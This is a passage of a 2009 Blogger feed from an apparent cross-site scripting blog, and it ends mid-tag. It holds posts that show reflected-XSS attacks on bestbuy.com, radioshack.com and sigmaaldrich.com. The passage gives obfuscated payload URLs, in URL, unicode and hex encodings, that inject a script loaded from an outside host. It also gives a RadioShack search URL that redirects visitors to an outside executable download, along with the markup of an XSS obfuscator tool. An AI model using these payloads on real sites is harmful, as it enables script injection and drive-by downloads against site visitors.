32%65%25%36%61%25%37%33%25%32%32%25%33%65%25%33%63%25%32%66%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;      &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Unicode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write(unescape('%u003c%u0073%u0063%u0072%u0069%u0070%u0074%u0020%u0074%u0079%u0070%u0065%u003d%u0022%u0074%u0065%u0078%u0074%u002f%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u0022%u0020%u0073%u0072%u0063%u003d%u0022%u0068%u0074%u0074%u0070%u003a%u002f%u002f%u0078%u0073%u0073%u002d%u006a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u002d%u006f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002e%u0067%u006f%u006f%u0067%u006c%u0065%u0063%u006f%u0064%u0065%u002e%u0063%u006f%u006d%u002f%u0073%u0076%u006e%u002f%u0074%u0072%u0075%u006e%u006b%u002f%u0058%u0053%u0053%u004a%u0061%u0076%u0061%u0073%u0063%u0072%u0069%u0070%u0074%u004f%u0062%u0066%u0075%u0073%u0063%u0061%u0074%u006f%u0072%u002f%u0074%u0065%u0073%u0074%u002e%u006a%u0073%u0022%u003e%u003c%u002f%u0073%u0063%u0072%u0069%u0070%u0074%u003e'));var x=new Array("&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Unicode + Partial Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28unescape%28%27%25u003c%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0020%25u0074%25u0079%25u0070%25u0065%25u003d%25u0022%25u0074%25u0065%25u0078%25u0074%25u002f%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u0022%25u0020%25u0073%25u0072%25u0063%25u003d%25u0022%25u0068%25u0074%25u0074%25u0070%25u003a%25u002f%25u002f%25u0078%25u0073%25u0073%25u002d%25u006a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u002d%25u006f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002e%25u0067%25u006f%25u006f%25u0067%25u006c%25u0065%25u0063%25u006f%25u0064%25u0065%25u002e%25u0063%25u006f%25u006d%25u002f%25u0073%25u0076%25u006e%25u002f%25u0074%25u0072%25u0075%25u006e%25u006b%25u002f%25u0058%25u0053%25u0053%25u004a%25u0061%25u0076%25u0061%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u004f%25u0062%25u0066%25u0075%25u0073%25u0063%25u0061%25u0074%25u006f%25u0072%25u002f%25u0074%25u0065%25u0073%25u0074%25u002e%25u006a%25u0073%25u0022%25u003e%25u003c%25u002f%25u0073%25u0063%25u0072%25u0069%25u0070%25u0074%25u003e%27%29%29%3Bvar%20x%3Dnew%20Array%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Unescape Unicode + Full Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%75%6e%65%73%63%61%70%65%28%27%25%75%30%30%33%63%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%30%25%75%30%30%37%34%25%75%30%30%37%39%25%75%30%30%37%30%25%75%30%30%36%35%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%38%25%75%30%30%37%34%25%75%30%30%32%66%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%32%25%75%30%30%32%30%25%75%30%30%37%33%25%75%30%30%37%32%25%75%30%30%36%33%25%75%30%30%33%64%25%75%30%30%32%32%25%75%30%30%36%38%25%75%30%30%37%34%25%75%30%30%37%34%25%75%30%30%37%30%25%75%30%30%33%61%25%75%30%30%32%66%25%75%30%30%32%66%25%75%30%30%37%38%25%75%30%30%37%33%25%75%30%30%37%33%25%75%30%30%32%64%25%75%30%30%36%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%32%64%25%75%30%30%36%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%65%25%75%30%30%36%37%25%75%30%30%36%66%25%75%30%30%36%66%25%75%30%30%36%37%25%75%30%30%36%63%25%75%30%30%36%35%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%34%25%75%30%30%36%35%25%75%30%30%32%65%25%75%30%30%36%33%25%75%30%30%36%66%25%75%30%30%36%64%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%37%36%25%75%30%30%36%65%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%37%32%25%75%30%30%37%35%25%75%30%30%36%65%25%75%30%30%36%62%25%75%30%30%32%66%25%75%30%30%35%38%25%75%30%30%35%33%25%75%30%30%35%33%25%75%30%30%34%61%25%75%30%30%36%31%25%75%30%30%37%36%25%75%30%30%36%31%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%34%66%25%75%30%30%36%32%25%75%30%30%36%36%25%75%30%30%37%35%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%36%31%25%75%30%30%37%34%25%75%30%30%36%66%25%75%30%30%37%32%25%75%30%30%32%66%25%75%30%30%37%34%25%75%30%30%36%35%25%75%30%30%37%33%25%75%30%30%37%34%25%75%30%30%32%65%25%75%30%30%36%61%25%75%30%30%37%33%25%75%30%30%32%32%25%75%30%30%33%65%25%75%30%30%33%63%25%75%30%30%32%66%25%75%30%30%37%33%25%75%30%30%36%33%25%75%30%30%37%32%25%75%30%30%36%39%25%75%30%30%37%30%25%75%30%30%37%34%25%75%30%30%33%65%27%29%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Hex String&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=",null,"/",triggerParms["domain"]);document.write('\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x78\x73\x73\x2d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x2d\x6f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2e\x67\x6f\x6f\x67\x6c\x65\x63\x6f\x64\x65\x2e\x63\x6f\x6d\x2f\x73\x76\x6e\x2f\x74\x72\x75\x6e\x6b\x2f\x58\x53\x53\x4a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x4f\x62\x66\x75\x73\x63\x61\x74\x6f\x72\x2f\x74\x65\x73\x74\x2e\x6a\x73\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e');var x=new Array("&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Hext String + Partial Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2Cnull%2C%22/%22%2CtriggerParms%5B%22domain%22%5D%29%3Bdocument.write%28%27%5Cx3c%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx20%5Cx74%5Cx79%5Cx70%5Cx65%5Cx3d%5Cx22%5Cx74%5Cx65%5Cx78%5Cx74%5Cx2f%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx22%5Cx20%5Cx73%5Cx72%5Cx63%5Cx3d%5Cx22%5Cx68%5Cx74%5Cx74%5Cx70%5Cx3a%5Cx2f%5Cx2f%5Cx78%5Cx73%5Cx73%5Cx2d%5Cx6a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx2d%5Cx6f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2e%5Cx67%5Cx6f%5Cx6f%5Cx67%5Cx6c%5Cx65%5Cx63%5Cx6f%5Cx64%5Cx65%5Cx2e%5Cx63%5Cx6f%5Cx6d%5Cx2f%5Cx73%5Cx76%5Cx6e%5Cx2f%5Cx74%5Cx72%5Cx75%5Cx6e%5Cx6b%5Cx2f%5Cx58%5Cx53%5Cx53%5Cx4a%5Cx61%5Cx76%5Cx61%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx4f%5Cx62%5Cx66%5Cx75%5Cx73%5Cx63%5Cx61%5Cx74%5Cx6f%5Cx72%5Cx2f%5Cx74%5Cx65%5Cx73%5Cx74%5Cx2e%5Cx6a%5Cx73%5Cx22%5Cx3e%5Cx3c%5Cx2f%5Cx73%5Cx63%5Cx72%5Cx69%5Cx70%5Cx74%5Cx3e%27%29%3Bvar%20x%3Dnew%20Array%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt;    &lt;tr&gt;       &lt;th style="padding:2px;background-color:#FBFBFB;border:solid 1px #CFCFCF;width:100px;"&gt;Hex String + Full Url Encode&lt;/th&gt;       &lt;td style="border: solid 1px #CFCFCF;background-color:#FBFBFB;width:500px;"&gt;&lt;textarea style="width:465px;height:100px;border:none;"wrap="soft"&gt;http://www.bestbuy.com/site/olspage.jsp?id=%22%2c%6e%75%6c%6c%2c%22%2f%22%2c%74%72%69%67%67%65%72%50%61%72%6d%73%5b%22%64%6f%6d%61%69%6e%22%5d%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%5c%78%33%63%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%30%5c%78%37%34%5c%78%37%39%5c%78%37%30%5c%78%36%35%5c%78%33%64%5c%78%32%32%5c%78%37%34%5c%78%36%35%5c%78%37%38%5c%78%37%34%5c%78%32%66%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%32%5c%78%32%30%5c%78%37%33%5c%78%37%32%5c%78%36%33%5c%78%33%64%5c%78%32%32%5c%78%36%38%5c%78%37%34%5c%78%37%34%5c%78%37%30%5c%78%33%61%5c%78%32%66%5c%78%32%66%5c%78%37%38%5c%78%37%33%5c%78%37%33%5c%78%32%64%5c%78%36%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%32%64%5c%78%36%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%65%5c%78%36%37%5c%78%36%66%5c%78%36%66%5c%78%36%37%5c%78%36%63%5c%78%36%35%5c%78%36%33%5c%78%36%66%5c%78%36%34%5c%78%36%35%5c%78%32%65%5c%78%36%33%5c%78%36%66%5c%78%36%64%5c%78%32%66%5c%78%37%33%5c%78%37%36%5c%78%36%65%5c%78%32%66%5c%78%37%34%5c%78%37%32%5c%78%37%35%5c%78%36%65%5c%78%36%62%5c%78%32%66%5c%78%35%38%5c%78%35%33%5c%78%35%33%5c%78%34%61%5c%78%36%31%5c%78%37%36%5c%78%36%31%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%34%66%5c%78%36%32%5c%78%36%36%5c%78%37%35%5c%78%37%33%5c%78%36%33%5c%78%36%31%5c%78%37%34%5c%78%36%66%5c%78%37%32%5c%78%32%66%5c%78%37%34%5c%78%36%35%5c%78%37%33%5c%78%37%34%5c%78%32%65%5c%78%36%61%5c%78%37%33%5c%78%32%32%5c%78%33%65%5c%78%33%63%5c%78%32%66%5c%78%37%33%5c%78%36%33%5c%78%37%32%5c%78%36%39%5c%78%37%30%5c%78%37%34%5c%78%33%65%27%29%3b%76%61%72%20%78%3d%6e%65%77%20%41%72%72%61%79%28%22&amp;type=category&lt;/textarea&gt;&lt;/td&gt;    &lt;/tr&gt; &lt;/table&gt;&lt;br /&gt;And here we are with several links containing obfuscated JavaScript that will inject a script tag. Testing should reveal which links work best; generally the obfuscation methods ending with a partial URL encode are the most compatible.&lt;br /&gt;&lt;script type="text/javascript" src="http://jqueryjs.googlecode.com/files/jquery-1.3.2.min.js"&gt;&lt;/script&gt;&lt;script type="text/javascript" src="http://xss-javascript-obfuscator.googlecode.com/svn/trunk/XSSJavascriptObfuscator/xssjo.js"&gt;&lt;/script&gt;&lt;br /&gt;&lt;h3&gt;XSS JavaScript Obfuscator&lt;/h3&gt;&lt;table id="obfuscatorTable"&gt;             &lt;tr&gt;                 &lt;td&gt;                     Url Prefix&lt;br /&gt;                                         &lt;textarea id="urlPrefixText" onkeyup="updateTextAreas();" style="width:250px;height:40px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;                 &lt;td&gt;                     Url Suffix&lt;br /&gt;                                         &lt;textarea id="urlSuffixText" onkeyup="updateTextAreas();" style="width:250px;height:40px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     Attack Vector Prefix&lt;br /&gt;                                         &lt;textarea id="vectorPrefixText" onkeyup="updateTextAreas();" style="width:250px;height:40px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;                 &lt;td&gt;                     Attack Vector Suffix&lt;br /&gt;                                         &lt;textarea id="vectorSuffixText" onkeyup="updateTextAreas();" style="width:250px;height:40px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                                 &lt;td&gt;                     Code&lt;br /&gt;                                         &lt;textarea id="codeText" onkeyup="updateTextAreas();" style="width:250px;height:200px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;                 &lt;td&gt;                     Encoded Javascript&lt;br /&gt;                                         &lt;textarea id="encodedJsText" style="width:250px;height:200px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td&gt;                     Partial Url Encode&lt;br /&gt;                     &lt;textarea id="partialUrlEncodeText" style="width:250px;height:200px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;                 &lt;td&gt;                     Complete Url Encode&lt;br /&gt;                     &lt;textarea id="urlEncodeText" style="width:250px;height:200px;"&gt;&lt;/textarea&gt;&lt;br /&gt;                 &lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                 &lt;td style="vertical-align:top;"&gt;                     Decode Method&lt;br /&gt;                     &lt;input name="decode" type="radio" value="0" checked="checked" onclick="updateTextAreas();" /&gt;String.fromCharCode call&lt;br /&gt;                     &lt;input name="decode" type="radio" value="1" onclick="updateTextAreas();" /&gt;unescape partial encode call&lt;br /&gt;                     &lt;input name="decode" type="radio" value="2" onclick="updateTextAreas();" /&gt;unescape full encode call&lt;br /&gt;                     &lt;input name="decode" type="radio" value="3" onclick="updateTextAreas();" /&gt;unescape full unicode encode call&lt;br /&gt;                     &lt;input name="decode" type="radio" value="4" onclick="updateTextAreas();" /&gt;hex string&lt;br /&gt;                 &lt;/td&gt;                 &lt;td style="vertical-align:top;"&gt;                     Decode Return Call&lt;br /&gt;                     &lt;input name="call" type="radio" value="document.write" onclick="updateTextAreas();" checked="checked"/&gt;document.write&lt;br /&gt;                     &lt;input name="call" type="radio" value="eval" onclick="updateTextAreas();" /&gt;eval&lt;br /&gt;                 &lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-828199155025835225?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/828199155025835225/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/javascript-encoder.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/828199155025835225'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/828199155025835225'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/javascript-encoder.html' title='Injecting Script Tags Without Access to Less Than and Greater Than Characters - Bestbuy.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-5723541988164277954</id><published>2009-05-05T18:52:00.000-07:00</published><updated>2009-05-24T17:55:58.337-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Insecure JavaScript - RadioShack.com</title><content type='html'>Today we're going to examine www.radioshack.com. As with many XSS exploits, this will be short and simple. Looking at the site you'll notice that they have a product search. Just as before we'll test this using our special string, &lt;b&gt;testA.,:;\'"&lt;&gt;()[]{}&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_r1bXskT1Xow/SgDu-RH9lOI/AAAAAAAAAAc/DxIO_qgbsu8/s1600-h/Radioshack1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 228px;" src="http://1.bp.blogspot.com/_r1bXskT1Xow/SgDu-RH9lOI/AAAAAAAAAAc/DxIO_qgbsu8/s320/Radioshack1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332524712322766050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Without viewing the source it's apparent that our test string has been significantly altered. &lt;b&gt;,:;\'"&lt;&gt;()[]{}&lt;/b&gt; has been completely removed from our search, but how much of this happened client-side? Lets take a look at the current URL.&lt;br /&gt;&lt;pre&gt;http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&amp;bcLinkAll=1&amp;sr=1&amp;kw=testa.&amp;origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&amp;kwCatId=&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;By changing the &lt;b&gt;kw&lt;/b&gt; field to our original search string we can create our own URL and see how reliant on client-side validation the site is. Our new URL should look like this:&lt;br /&gt;&lt;pre&gt;http://www.radioshack.com/search/noResults.jsp?useCatForBc=1&amp;bcLinkAll=1&amp;sr=1&amp;kw=testA.,:;\'"&lt;&gt;()[]{}&amp;origkw=testA.,:;\'%26quot;%26lt;%26gt;()[]{}&amp;kwCatId=&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/SgDvM376jQI/AAAAAAAAAAk/IQj6nfaGeOc/s1600-h/Radioshack2.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 228px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/SgDvM376jQI/AAAAAAAAAAk/IQj6nfaGeOc/s320/Radioshack2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332524963259387138" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Things certainly look better, but it's still possible the search is secure. To find out, we'll have to view the source of the page. Looking at the first match for &lt;b&gt;testA&lt;/b&gt; it's apparent that our search string is encoded.&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&lt;br /&gt;    &amp;lt;input type="text" style="font-size:10px;width:164px;" name="kw" id="kw" value="testA.,:;\'&amp;amp;quot;&amp;amp;lt;&amp;amp;gt;()[]{}"&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This complicates things, but an attack is still possible. Lets look at some of the other results. Near the bottom of the page is the following block of javascript:&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;    var s_account='gsicrsk';&lt;br /&gt;    var s_server='www.radioshack.com';&lt;br /&gt;    var s_hier1='';&lt;br /&gt;    var s_eVar19='67340647933';&lt;br /&gt;    var s_channel='Home';&lt;br /&gt;    var s_eVar3='testA.,:;\'&amp;amp;quot;&amp;amp;lt;&amp;amp;gt;()[]{}';&lt;br /&gt;    var s_pageName='Search (internal)';&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Because we have access to the single quote character, we can easily inject code here. Consider what would happen if we passed in &lt;b&gt;';var x='&lt;/b&gt; as the keyword.&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;    var s_account='gsicrsk';&lt;br /&gt;    var s_server='www.radioshack.com';&lt;br /&gt;    var s_hier1='';&lt;br /&gt;    var s_eVar19='67340647933';&lt;br /&gt;    var s_channel='Home';&lt;br /&gt;    var s_eVar3='';var x='';&lt;br /&gt;    var s_pageName='Search (internal)';&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;At this point we can write any javascript we want between the &lt;b&gt;;&lt;/b&gt; and &lt;b&gt;v&lt;/b&gt; provided we don't use any of the encoded characters. As an example of what can be done with this, we can craft a URL that redirects to a download making it seem as is if it's coming from www.radioshack.com.&lt;br /&gt;&lt;pre&gt;http://www.radioshack.com/search/noResults.jsp?kw=';window.location='http://download.winzip.com/wzd/winzip120.exe';var x='&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_r1bXskT1Xow/SgDvZIzP6pI/AAAAAAAAAAs/jRlTVSyiT4U/s1600-h/Radioshack3.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 228px;" src="http://2.bp.blogspot.com/_r1bXskT1Xow/SgDvZIzP6pI/AAAAAAAAAAs/jRlTVSyiT4U/s320/Radioshack3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332525173944871570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And again we can URL encode the payload.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;http://www.radioshack.com/search/noResults.jsp?kw=%27%3B%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%3D%27%68%74%74%70%3A%2F%2F%64%6F%77%6E%6C%6F%61%64%2E%77%69%6E%7A%69%70%2E%63%6F%6D%2F%77%7A%64%2F%77%69%6E%7A%69%70%31%32%30%2E%65%78%65%27%3B%76%61%72%20%78%3D%27&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4928953116864298022-5723541988164277954?l=cross-site-scripting.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cross-site-scripting.blogspot.com/feeds/5723541988164277954/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/hacking-radioshackcom.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5723541988164277954'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4928953116864298022/posts/default/5723541988164277954'/><link rel='alternate' type='text/html' href='http://cross-site-scripting.blogspot.com/2009/05/hacking-radioshackcom.html' title='Insecure JavaScript - RadioShack.com'/><author><name>John Leitch</name><uri>http://www.blogger.com/profile/14370061601511942481</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_r1bXskT1Xow/SgDu-RH9lOI/AAAAAAAAAAc/DxIO_qgbsu8/s72-c/Radioshack1.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4928953116864298022.post-8266561243987597900</id><published>2009-05-03T22:21:00.000-07:00</published><updated>2009-05-24T17:56:20.124-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='web development'/><category scheme='http://www.blogger.com/atom/ns#' term='cross-site scripting'/><category scheme='http://www.blogger.com/atom/ns#' term='xss'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='html'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>XSS 101 - SigmaAldrich.com</title><content type='html'>The target of my first post will be www.sigmaaldrich.com, the website of international chemical supplier Sigma-Aldrich. First take a look at the website itself and look for an input whose data may be displayed on the page after postback.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_r1bXskT1Xow/Sf9r5Fg-B9I/AAAAAAAAAAM/s-33bltyI0c/s1600-h/Sigma-Aldrich1.jpg"&gt;&lt;img style="cursor:pointer; cursor:hand;width: 320px; height: 226px;" src="http://4.bp.blogspot.com/_r1bXskT1Xow/Sf9r5Fg-B9I/AAAAAAAAAAM/s-33bltyI0c/s320/Sigma-Aldrich1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332099112307132370" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Fortunately for us, sigmaaldrich.com has a search option. Because search engines generally accept a wide array of characters and display some form of the original search string on the results page, they are an excellent attack vector for cross-site scripting. To see what sort of encoding the search goes through, we're going to use a special string: &lt;pre&gt;testA.,:;\'"&lt;&gt;()[]{}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;After searching for the string, view the source of the results page and search for &lt;b&gt;testA&lt;/b&gt; within the code. The first result should look like the javascript below.&lt;br /&gt;&lt;pre name="code" class="js"&gt;&lt;br /&gt;cmCreatePageviewTag("Result Page: Product Results","SS6", "Keyword (fulltext)|testA.,:;\'"&lt;&gt;()[]{}|", "2"); &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Here we can see an unencoded, exact match of our search within a javascript string. This means we have free reign to terminate the string (as was already done with the test string), finish the function call, and inject our own code. However, with access to less than and greater than characters, we should look further to see what else can be done. The next search string match is even more promising.&lt;br /&gt;&lt;pre name="code" class="xml"&gt;&lt;br /&gt;&lt;span 